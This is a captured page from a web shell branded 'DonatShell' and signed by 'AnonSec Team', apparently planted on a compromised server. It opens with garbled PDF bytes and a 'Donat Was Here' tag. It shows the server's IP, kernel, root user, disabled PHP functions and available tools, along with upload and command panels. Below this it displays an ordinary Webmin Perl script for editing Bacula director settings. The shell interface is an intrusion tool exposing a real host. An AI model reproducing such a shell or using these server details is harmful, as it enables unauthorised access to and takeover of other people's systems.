%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/bacula-backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/bacula-backup//edit_fdirector.cgi
#!/usr/bin/perl
# Show the details of one file fdirector daemon

require './bacula-backup-lib.pl';
&ReadParse();
$conf = &get_file_config();
@fdirectors = &find("Director", $conf);

if ($in{'new'}) {
	&ui_print_header(undef, $text{'fdirector_title1'}, "");
	$mems = [ ];
	$fdirector = { 'members' => $mems };
	}
else {
	&ui_print_header(undef, $text{'fdirector_title2'}, "");
	$fdirector = &find_by("Name", $in{'name'}, \@fdirectors);
	$fdirector || &error($text{'fdirector_egone'});
	$mems = $fdirector->{'members'};
	}

# Show details
print &ui_form_start("save_fdirector.cgi", "post");
print &ui_hidden("new", $in{'new'}),"\n";
print &ui_hidden("old", $in{'name'}),"\n";
print &ui_table_start($text{'fdirector_header'}, "width=100%", 4);

# Director name
print &ui_table_row($text{'fdirector_name'},
	&ui_textbox("name", $name=&find_value("Name", $mems), 40), 3);

# Password for remote
print &ui_table_row($text{'fdirector_pass'},
	&ui_textbox("pass", $pass=&find_value("Password", $mems), 60), 3);

# Monitor mode
print &ui_table_row($text{'fdirector_monitor'},
	&bacula_yesno("monitor", "Monitor", $mems));

&show_tls_directives($fdirector);

# All done
print &ui_table_end();
if ($in{'new'}) {
	print &ui_form_end([ [ "create", $text{'create'} ] ]);
	}
else {
	print &ui_form_end([ [ "save", $text{'save'} ],
			     [ "delete", $text{'delete'} ] ]);
	}
&ui_print_footer("list_fdirectors.cgi", $text{'fdirectors_return'});


Anon7 - 2022
AnonSec Team